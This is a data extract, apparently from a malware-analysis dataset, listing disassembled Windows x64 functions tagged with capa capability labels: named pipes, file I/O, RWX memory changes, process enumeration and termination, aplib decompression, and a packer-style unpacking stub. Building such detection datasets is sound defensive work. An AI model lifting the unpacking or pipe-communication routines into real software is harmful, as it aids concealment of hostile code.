joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001890
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 2
mov qword [rsp + 0x38], rcx
lea rcx, [0x140059100]
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r8d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000192f
xor edx, edx
mov rcx, rbx
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x14000192f
test esi, esi
jle 0x140001919
xor eax, eax
mov r9, rbp
mov r8d, esi
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140001924
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000192f
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub esi, edx
jmp 0x1400018f8
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001956
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 0x80000000
lea rbp, [rsp + 0x4c]
mov qword [rsp + 0x30], rcx
lea rcx, [0x140059100]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
cmp rsi, 0xffffffffffffffff
je 0x1400019e7
test ebx, ebx
jle 0x1400019cc
xor eax, eax
mov r9, rbp
mov r8d, ebx
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400019dc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400019e7
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub ebx, edx
jmp 0x1400019ab
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001a48
Capabilities:
Create thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, qword [0x140055920]
movsxd rcx, dword [rsi + 4]
call sub.msvcrt.dll_malloc
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, rax
mov ecx, 0x400
call rdi
mov edx, dword [rsi + 4]
mov rcx, rbx
call fcn.140001956
test eax, eax
je 0x140001a11
mov edx, dword [rsi + 4]
lea r8, [rsi + 8]
mov rcx, rbx
call fcn.1400017ac
mov rcx, rbx
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x140059100]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cnetsvc_d
call fcn.140001860
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor r9d, r9d
lea r8, [0x140001938]
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x1400019f0
Function at 0x140001db0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007a30
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007a30
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001e20
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400591a4]
mov rbx, rcx
test esi, esi
jle 0x140001f50
mov rax, qword [0x1400591a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001e6b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001ef5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001e50
mov rcx, rbx
call fcn.140002870
mov rdi, rax
test rax, rax
je 0x140001f72
mov rax, qword [0x1400591a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400029b0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400591a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001f57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001eee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001f00
add dword [0x1400591a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400591a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001eee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001db0
nop dword [rax]
xor esi, esi
jmp 0x140001e78
mov rax, qword [0x1400591a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001db0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001db0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400024e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140059200]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400591e0]
test rbx, rbx
je 0x14000253c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002533
test rsi, rsi
je 0x140002533
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002518
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002870
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400557c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002890
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002898
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002890
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400028ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400028e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002890
add rax, 0x28
cmp rax, r9
jne 0x1400028d0
xor eax, eax
ret

Function at 0x1400028f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400557c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000290f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002918
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000290f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400029b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400557c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400029cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400029d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140959058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409591df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140959089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14095906f
add dl, dl
jne 0x140959096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409590f6
xor eax, eax
add dl, dl
jne 0x1409590a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409591ad
add dl, dl
jne 0x1409590b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409590c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409590d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409590dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409590ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14095907e
mov eax, 1
add dl, dl
jne 0x140959106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140959113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409590fb
sub eax, ebx
mov ebx, 1
jne 0x14095914c
mov ecx, 1
add dl, dl
jne 0x14095912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14095913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140959123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140959168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140959175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14095915d
cmp eax, 0x7d00
jae 0x14095919b
cmp eax, 0x500
jb 0x140959196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095907e
cmp eax, 0x7f
ja 0x14095919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409591d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14095907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x141c42058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141c421df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141c42089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c4206f
add dl, dl
jne 0x141c42096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c420f6
xor eax, eax
add dl, dl
jne 0x141c420a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c421ad
add dl, dl
jne 0x141c420b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c420c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c420d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c420dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141c420ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141c4207e
mov eax, 1
add dl, dl
jne 0x141c42106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c42113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c420fb
sub eax, ebx
mov ebx, 1
jne 0x141c4214c
mov ecx, 1
add dl, dl
jne 0x141c4212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c4213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c42123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c4207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141c42168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c42175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c4215d
cmp eax, 0x7d00
jae 0x141c4219b
cmp eax, 0x500
jb 0x141c42196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c4207e
cmp eax, 0x7f
ja 0x141c4219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c4207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141c421d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141c4207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140b9c2c0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140b9c447
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140b9c2f1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b9c2d7
add dl, dl
jne 0x140b9c2fe
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b9c35e
xor eax, eax
add dl, dl
jne 0x140b9c30d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b9c415
add dl, dl
jne 0x140b9c31e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b9c32b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b9c338
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b9c345
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140b9c352
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140b9c2e6
mov eax, 1
add dl, dl
jne 0x140b9c36e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b9c37b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b9c363
sub eax, ebx
mov ebx, 1
jne 0x140b9c3b4
mov ecx, 1
add dl, dl
jne 0x140b9c396
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140b9c3a3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b9c38b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b9c2e6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140b9c3d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140b9c3dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b9c3c5
cmp eax, 0x7d00
jae 0x140b9c403
cmp eax, 0x500
jb 0x140b9c3fe
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b9c2e6
cmp eax, 0x7f
ja 0x140b9c406
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b9c2e6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140b9c43a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140b9c2e6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001123f
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140015fb0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x468]
mov rax, qword [0x140027040]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x14002d0f5]
call fcn.140011762
mov dword [rbp + 4], 0
xor edx, edx
mov ecx, 2
call fcn.140011393
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
je 0x140016067
mov dword [rbp + 0x50], 0x238
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.1400114b0
test eax, eax
je 0x14001605d
mov rdx, qword [rbp + 0x440]
lea rcx, [rbp + 0x7c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x14001604c
mov eax, dword [rbp + 0x58]
mov dword [rbp + 4], eax
jmp 0x14001605d
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.1400116c7
test eax, eax
jne 0x14001602f
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140021e00]
call fcn.140011681
mov eax, edi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.1400113ac
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret
Function at 0x14001143d
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a350
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001155f
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001b6a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001b6c0
xor al, al
jmp 0x14001b741
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001b6d3
xor al, al
jmp 0x14001b741
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001b6fd
xor al, al
jmp 0x14001b741
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001b711
xor al, al
jmp 0x14001b741
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001b723
xor al, al
jmp 0x14001b741
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001b73f
xor al, al
jmp 0x14001b741
mov al, 1
add rsp, 0x38
ret
Function at 0x1400ca500
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400ca50d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400ca51d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400ca505
lea eax, [rcx + 1]
jmp 0x1400ca52b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400ca53e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400ca524
sub eax, 3
jb 0x1400ca55e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400ca5ad
sar eax, 1
movsxd rbp, eax
jb 0x1400ca594
jmp 0x1400ca56c
add ebx, ebx
jne 0x1400ca56a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400ca594
inc ecx
add ebx, ebx
jne 0x1400ca57a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400ca594
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400ca58d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400ca57c
add ecx, 2
jmp 0x1400ca599
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400ca4c2
jmp 0x1400ca50d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2a600
mov dl, 0xe
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400ca5f9
cmp rsi, rcx
jae 0x1400ca601
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400ca5e0
cmp al, 0x8f
ja 0x1400ca5e0
cmp byte [rsi - 2], 0xf
je 0x1400ca5e6
sub al, 0xe8
cmp al, 1
ja 0x1400ca5ca
cmp rsi, rcx
jae 0x1400ca601
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400ca5d0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400ca601
lodsb al, byte [rsi]
jmp 0x1400ca5e0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xc8000]
mov eax, dword [rdi]
or eax, eax
je 0x1400ca65e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x10c31c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400ca60e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400ca658
mov qword [rbx], rax
add rbx, 8
jmp 0x1400ca62e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400ca698
cmp al, 0xef
ja 0x1400ca68a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400ca66a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400ca679
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x23f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400ca6ec
sub rsp, 0xffffffffffffff80
jmp 0x14000c8f0
Function at 0x140012f3c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012d68
Function at 0x14068b080
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14068b207
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14068b0b1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068b097
add dl, dl
jne 0x14068b0be
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068b11e
xor eax, eax
add dl, dl
jne 0x14068b0cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068b1d5
add dl, dl
jne 0x14068b0de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068b0eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068b0f8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068b105
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14068b112
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14068b0a6
mov eax, 1
add dl, dl
jne 0x14068b12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14068b13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068b123
sub eax, ebx
mov ebx, 1
jne 0x14068b174
mov ecx, 1
add dl, dl
jne 0x14068b156
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14068b163
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068b14b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068b0a6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14068b190
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14068b19d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068b185
cmp eax, 0x7d00
jae 0x14068b1c3
cmp eax, 0x500
jb 0x14068b1be
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068b0a6
cmp eax, 0x7f
ja 0x14068b1c6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068b0a6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14068b1fa
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14068b0a6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1401f43b0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10090
call fcn.1401f88e0
sub rsp, rax
mov rax, qword [0x140242a00]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx edx, byte [rcx]
lea rbx, [rsp + 0x30]
xor eax, eax
mov rsi, rcx
mov word [rsp + 0x80], ax
mov word [rsp + 0x30], ax
